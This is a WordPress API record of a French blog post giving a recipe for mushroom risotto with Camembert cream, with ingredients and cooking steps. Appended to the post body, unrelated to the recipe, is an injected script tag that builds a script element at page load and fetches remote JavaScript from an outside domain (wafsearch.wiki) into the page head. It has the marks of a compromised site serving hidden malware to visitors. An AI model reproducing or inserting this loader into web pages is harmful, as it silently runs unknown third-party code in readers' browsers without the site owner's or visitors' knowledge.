{"id":71,"date":"2026-04-01T15:44:47","date_gmt":"2026-04-01T13:44:47","guid":{"rendered":"https:\/\/drougard.com\/?p=71"},"modified":"2026-05-30T09:08:32","modified_gmt":"2026-05-30T07:08:32","slug":"risotto-aux-champignons-et-creme-de-camembert","status":"publish","type":"post","link":"https:\/\/drougard.com\/?p=71","title":{"rendered":"Risotto aux Champignons et cr\u00e8me de Camembert"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Une version tr\u00e8s cr\u00e9meuse et onctueuse du risotto traditionnel.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Ingr\u00e9dients :<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>300 g de riz Arborio (pour risotto)<\/li>\n\n\n\n<li>1\/2 Camembert (cro\u00fbte retir\u00e9e, c&rsquo;est important pour la texture)<\/li>\n\n\n\n<li>250 g de champignons de Paris<\/li>\n\n\n\n<li>1 oignon<\/li>\n\n\n\n<li>10 cl de vin blanc sec<\/li>\n\n\n\n<li>1 litre de bouillon de volaille ou de l\u00e9gumes (tr\u00e8s chaud)<\/li>\n\n\n\n<li>Du beurre<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pr\u00e9paration :<\/strong><\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>Fais revenir l&rsquo;oignon \u00e9minc\u00e9 et les champignons coup\u00e9s en lamelles dans du beurre.<\/li>\n\n\n\n<li>Ajoute le riz et fais-le nacrer (il doit devenir translucide).<\/li>\n\n\n\n<li>D\u00e9glace au vin blanc et laisse \u00e9vaporer.<\/li>\n\n\n\n<li>Ajoute le bouillon chaud louche par louche, en attendant que le liquide soit absorb\u00e9 \u00e0 chaque fois (environ <strong>18 \u00e0 20 minutes<\/strong> de cuisson).<\/li>\n\n\n\n<li>Hors du feu, incorpore le camembert coup\u00e9 en petits morceaux sans la cro\u00fbte. M\u00e9lange vigoureusement jusqu&rsquo;\u00e0 ce qu&rsquo;il soit totalement fondu. Sers imm\u00e9diatement.<\/li>\n<\/ol>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>Une version tr\u00e8s cr\u00e9meuse et onctueuse du risotto traditionnel. Ingr\u00e9dients : Pr\u00e9paration :<\/p>\n","protected":false},"author":1,"featured_media":72,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":["post-71","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-recette-au-camembert"],"_links":{"self":[{"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/posts\/71","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=71"}],"version-history":[{"count":2,"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/posts\/71\/revisions"}],"predecessor-version":[{"id":112,"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/posts\/71\/revisions\/112"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/media\/72"}],"wp:attachment":[{"href":"https:\/\/drougard.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=71"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=71"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=71"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}